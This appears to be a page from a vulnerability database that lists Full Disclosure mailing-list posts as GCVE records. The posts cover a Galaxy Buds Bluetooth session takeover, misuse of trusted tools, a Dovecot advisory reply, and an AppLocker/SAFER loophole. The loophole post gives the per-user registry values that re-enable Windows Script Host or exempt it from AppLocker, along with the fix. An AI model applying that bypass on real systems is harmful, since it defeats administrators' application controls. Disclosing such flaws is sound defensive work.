timeline, testing methodology, and limitations.
I am not the author of this research. This message is a reference to an already-public disclosure and is being
forwarded for awareness and archival purposes.
Regards,
Anonymous (490h3fqwomf[)](mailto:490h3fqwomf () proton me)
_______________________________________________
Sent through the Full Disclosure mailing list
https://nmap.org/mailman/listinfo/fulldisclosure
Web Archives & RSS: https://seclists.org/fulldisclosure/
Severity
No CVSS data available.
Assigner
References
7 references
Impacted products
1 product
| Vendor | Product | Version | |
|---|---|---|---|
| Samsung | Galaxy Buds |
Affected:
unknown
|
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"value": "Hello Full Disclosure,\n\nThe following publicly available research describes a Bluetooth attack against Samsung Galaxy Buds that leverages \nconnection arbitration behavior between HFP and A2DP profiles to preempt an active audio session.\n\nTitle:\n\nZero-Click HFP/A2DP Takeover via L2CAP Session Preemption\nExploiting Seamless Earbud Connection Arbitration to Bypass Pairing Trust Boundaries\n\nAccording to the published research, an attacker within Bluetooth range can force a transition of the active audio \nsession to an attacker-controlled device without requiring user interaction or. The writeup argues that this behavior \ncrosses expected trust boundaries associated with paired devices and may allow unauthorized audio routing or session \ntakeover under certain conditions.\n\nThe author states that the issue was reported to Samsung and that Samsung ultimately classified the observed behavior \nas \"working as intended.\"\n\nOriginal publication:\n\nGist:\n\nhttps://gist.github.com/mroldguy/98c77d25a3e01d6d966523dac353af86\n\nOriginal:\n\nhttps://paste.rs/UkBmF.md\n\nArchived copy:\n\nhttps://archive.is/6KXIp\n\nSummary of the claims made in the publication:\n\n- Affects Samsung Galaxy Buds devices.\n- Relies on Bluetooth Classic profile behavior involving HFP and A2DP connection management.\n- Described as a zero-click attack requiring no user approval during takeover.\n- Does not require compromise of the target phone.\n- Reportedly allows an attacker within radio range to preempt an active session and become the active audio endpoint.\n- Vendor response is reported as \"working as intended.\"\n\nInterested readers should consult the original publication for technical details, proof-of-concept material, disclosure \ntimeline, testing methodology, and limitations.\n\nI am not the author of this research. This message is a reference to an already-public disclosure and is being \nforwarded for awareness and archival purposes.\n\nRegards,\n\nAnonymous (490h3fqwomf[)](mailto:490h3fqwomf () proton me)\n_______________________________________________\nSent through the Full Disclosure mailing list\nhttps://nmap.org/mailman/listinfo/fulldisclosure\nWeb Archives \u0026 RSS: https://seclists.org/fulldisclosure/"
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GCVE-1988-2026-0515
Vulnerability from gna-1988 – Published: 2026-11-02 08:33 – Updated: 2026-11-02 08:33
VLAI
EPSS
VEX
Title
Research: When Trusted Tools Become Attack Primitives
Summary
Hi Full Disclosure list,
I published a technical research article titled:
When Trusted Tools Become Attack Primitives
The article examines how trusted local utilities can become
security-relevant primitives when used inside automated processing
pipelines.
It covers two case studies:
1. macOS textutil resolving remote resources during HTML-to-text
conversion.
2. KeePassXC KDBX-controlled KDF parameters creating significant
resource-consumption differences.
Article:
https://ciphersecuritylabs.com/research/articles/when-trusted-tools-become-attack-primitives
Author:
Nir Yehoshua
Cipher Security Labs
Regards,
--
Nir Yehoshua | Co-Founder
+972 50 687 7216
Nir () CipherSecurityLabs com
https://ciphersecuritylabs.com/
_______________________________________________
Sent through the Full Disclosure mailing list
https://nmap.org/mailman/listinfo/fulldisclosure
Web Archives & RSS: https://seclists.org/fulldisclosure/
Severity
No CVSS data available.
Assigner
References
6 references
Impacted products
1 product
| Vendor | Product | Version | |
|---|---|---|---|
| unknown | Research When Trusted |
Affected:
unknown
|
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GCVE-1988-2026-0514
Vulnerability from gna-1988 – Published: 2026-11-02 08:33 – Updated: 2026-11-02 08:33
VLAI
EPSS
VEX
Title
Defense in depth -- the Microsoft way (part 96): yet another SAFER (SRPv1) and AppLocker (SRPv2) loophole
Summary
Hi @ll,
about 2 months ago I posted
<https://seclists.org/fulldisclosure/2025/Dec/29>
"Defense in depth -- the Microsoft way (part 94):
SAFER (SRPv1 and AppLocker alias SRPv2) bypass for dummies"
Here's the continuation...
About 23 years ago, 64-bit Windows introduced the WoW64 subsystem, which
performs a transpatent redirection of file system and registry accesses
for 32-bit applications.
To allow consistent appearance and behaviour of 64-bit and 32-bit variants
of applications like the "command processor" which reads its settings from
the registry key [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Command Processor],
several branches or single keys of the split registry where joined: until
Vista via "registry reflection", since Windows 7 via "shared keys".
Some applications, for example the Windows Script Host, were but lobotomized:
the registry keys [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows Script Host]
and [HKEY_LOCAL_MACHINE\SOFTWARE\WoW6432Node\Microsoft\Windows Script Host]
are separate, NOT joined.
Demonstration
~~~~~~~~~~~~~
The article <https://technet.microsoft.com/en-us/library/ee198684.aspx>
"Disabling Windows Script Host" states:
| To disable WSH for all users of a particular computer, create this
| entry:
|
| [HKEY_LOCAL_MACHINE\Software\Microsoft\Windows Script Host\Settings]
| "Enabled"=dword:00000000
It but needs a second, UNDOCUMENTED entry to enforce this setting:
| "IgnoreUserSettings"=dword:00000001
Without this entry, unprivileged users can enable WSH or exempt it from
SAFER, either Software Restriction Policies or AppLocker:
| [HKEY_CURRENT_USER\Software\Microsoft\Windows Script Host\Settings]
| "Enabled"=dword:00000001
| "UseWINSAFER"=dword:00000000
With the first 2 entries for the computer in place, and NO entries set for
the user, start a command prompt, run %SystemRoot%\SysWoW64\CSCRIPT.EXE or
%SystemRoot%\SysWoW64\WSCRIPT.EXE without arguments and admire their help
messages on the console or in a dialog box: OOPS!
Due to the lobotomy the same entries MUST be set in the 32-bit branch of
the registry too! Since the key name \WoW6432Node\ is an implementation
detail you should NEVER use, run the proper command lines:
REG.EXE ADD "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows Script Hosts\Settings" /REG:32 /V Enabled /D 0
REG.EXE ADD "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows Script Hosts\Settings" /REG:32 /V IgnoreUserSettings /D 1
stay tuned, and far away from split brains
Stefan Kanthak
_______________________________________________
Sent through the Full Disclosure mailing list
https://nmap.org/mailman/listinfo/fulldisclosure
Web Archives & RSS: https://seclists.org/fulldisclosure/
Severity
No CVSS data available.
Assigner
References
6 references
Impacted products
1 product
| Vendor | Product | Version | |
|---|---|---|---|
| unknown | Defense in depth |
Affected:
unknown
|
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"value": "Hi @ll,\n\nabout 2 months ago I posted\n\u003chttps://seclists.org/fulldisclosure/2025/Dec/29\u003e\n\"Defense in depth -- the Microsoft way (part 94):\n SAFER (SRPv1 and AppLocker alias SRPv2) bypass for dummies\"\n\nHere\u0027s the continuation...\n\nAbout 23 years ago, 64-bit Windows introduced the WoW64 subsystem, which\nperforms a transpatent redirection of file system and registry accesses\nfor 32-bit applications.\nTo allow consistent appearance and behaviour of 64-bit and 32-bit variants\nof applications like the \"command processor\" which reads its settings from\nthe registry key [HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Command Processor],\nseveral branches or single keys of the split registry where joined: until\nVista via \"registry reflection\", since Windows 7 via \"shared keys\".\n\nSome applications, for example the Windows Script Host, were but lobotomized:\nthe registry keys [HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows Script Host]\nand [HKEY_LOCAL_MACHINE\\SOFTWARE\\WoW6432Node\\Microsoft\\Windows Script Host]\nare separate, NOT joined.\n\nDemonstration\n~~~~~~~~~~~~~\n\nThe article \u003chttps://technet.microsoft.com/en-us/library/ee198684.aspx\u003e\n\"Disabling Windows Script Host\" states:\n\n| To disable WSH for all users of a particular computer, create this\n| entry:\n|\n| [HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows Script Host\\Settings]\n| \"Enabled\"=dword:00000000\n\nIt but needs a second, UNDOCUMENTED entry to enforce this setting:\n\n| \"IgnoreUserSettings\"=dword:00000001\n\nWithout this entry, unprivileged users can enable WSH or exempt it from\nSAFER, either Software Restriction Policies or AppLocker:\n\n| [HKEY_CURRENT_USER\\Software\\Microsoft\\Windows Script Host\\Settings]\n| \"Enabled\"=dword:00000001\n| \"UseWINSAFER\"=dword:00000000\n\nWith the first 2 entries for the computer in place, and NO entries set for\nthe user, start a command prompt, run %SystemRoot%\\SysWoW64\\CSCRIPT.EXE or\n%SystemRoot%\\SysWoW64\\WSCRIPT.EXE without arguments and admire their help\nmessages on the console or in a dialog box: OOPS!\n\nDue to the lobotomy the same entries MUST be set in the 32-bit branch of\nthe registry too! Since the key name \\WoW6432Node\\ is an implementation\ndetail you should NEVER use, run the proper command lines:\n\nREG.EXE ADD \"HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows Script Hosts\\Settings\" /REG:32 /V Enabled /D 0\nREG.EXE ADD \"HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows Script Hosts\\Settings\" /REG:32 /V IgnoreUserSettings /D 1\n\nstay tuned, and far away from split brains\nStefan Kanthak\n_______________________________________________\nSent through the Full Disclosure mailing list\nhttps://nmap.org/mailman/listinfo/fulldisclosure\nWeb Archives \u0026 RSS: https://seclists.org/fulldisclosure/"
}
],
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"defect": [
"https://seclists.org/fulldisclosure/2026/Mar/5"
],
"discovery": "EXTERNAL"
},
"title": "Defense in depth -- the Microsoft way (part 96): yet another SAFER (SRPv1) and AppLocker (SRPv2) loophole",
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"dateUpdated": "2026-11-02T08:33:22Z",
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GCVE-1988-2026-0513
Vulnerability from gna-1988 – Published: 2026-11-02 08:33 – Updated: 2026-11-02 08:33
VLAI
EPSS
VEX
Title
Re: Dovecot Security Advisory OXDC-2026-0002
Summary
So when is the fix for dovecot 2.3 source code due to be released?
On 12/05/2026 23:41, Aki Tuomi wrote:
_______________________________________________
Sent through the Full Disclosure mailing list
https://nmap.org/mailman/listinfo/fulldisclosure
Web Archives & RSS: https://seclists.org/fulldisclosure/
Severity
No CVSS data available.
Assigner
References
4 references
| URL | Tags |
|---|---|
| https://vuln.freearchive.org/archive/full-disclos… | technical-description |
| https://seclists.org/fulldisclosure/2026/May/23 | technical-description |
| https://nmap.org/mailman/listinfo/fulldisclosure | |
| https://seclists.org/fulldisclosure/ |
Impacted products
1 product
| Vendor | Product | Version | |
|---|---|---|---|
| Dovecot | Security Advisory |
Affected:
unknown
|
{
"containers": {
"cna": {
"affected": [
{
"product": "Security Advisory",
"vendor": "Dovecot",
"versions": [
{
"status": "affected",
"version": "unknown"
}
]
}
],
"credits": [
{
"lang": "en",
"type": "finder",
"value": "Noel Butler via Fulldisclosure"
}
],
"descriptions": [
{
"lang": "en",
"value": "So when is the fix for dovecot 2.3 source code due to be released?\n\n\n\nOn 12/05/2026 23:41, Aki Tuomi wrote:\n\n\n_______________________________________________\nSent through the Full Disclosure mailing list\nhttps://nmap.org/mailman/listinfo/fulldisclosure\nWeb Archives \u0026 RSS: https://seclists.org/fulldisclosure/"
}
],
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{
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],
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],
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},
"title": "Re: Dovecot Security Advisory OXDC-2026-0002",
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displaying 61 - 70 publications in total 581